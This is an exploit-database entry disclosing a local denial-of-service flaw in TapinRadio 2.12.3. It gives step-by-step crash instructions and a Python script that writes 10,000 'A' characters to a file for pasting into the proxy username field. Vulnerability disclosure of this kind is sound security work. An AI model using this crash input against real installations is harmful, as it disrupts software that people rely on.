TapinRadio 2.12.3 - 'username' Denial of Service (PoC)

vendor:

TapinRadio

by:

chuyreds

7.8

CVSS

HIGH

Denial of Service (DoS) Local

400

CWE

Product Name: TapinRadio

Affected Version From: 2.12.3

Affected Version To: 2.12.3

Patch Exists: Yes

Related CWE: N/A

CPE: a:raimersoft:tapinradio

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Pro x64 es

2020

TapinRadio 2.12.3 – ‘username’ Denial of Service (PoC)

TapinRadio 2.12.3 is vulnerable to a denial of service attack when a maliciously crafted username is used. This can be exploited by a local attacker to crash the application.

Mitigation:

Update to the latest version of TapinRadio.

Source

Exploit-DB raw data:

# Exploit Title: TapinRadio 2.12.3 - 'username' Denial of Service (PoC)
# Discovery by: chuyreds 
# Discovery Date: 2020-02-05
# Vendor Homepage: http://www.raimersoft.com/rarmaradio.html
# Software Link : http://www.raimersoft.com/downloads/tapinradio_setup_x64.exe
# Tested Version: 2.12.3
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

#Steps to produce the crash:
#1.- Run python code: tapinadio_user.py
#2.- Open tapin_user.txt and copy content to clipboard
#3.- Open TapinRadio
#4.- Select "Settings" > "Preferences" > "Miscellaneous"
#5.- Select "Set Application Proxy..."" In "Username" field paste Clipboard
#6.- In Server type "1.1.1.1" > Port type 444  > Password type "1234"
#7.- Select "OK" and "OK"
#8.- Crashed

cod = "\x41" * 10000
	
f = open('tapin_user.txt', 'w')
f.write(cod)
f.close()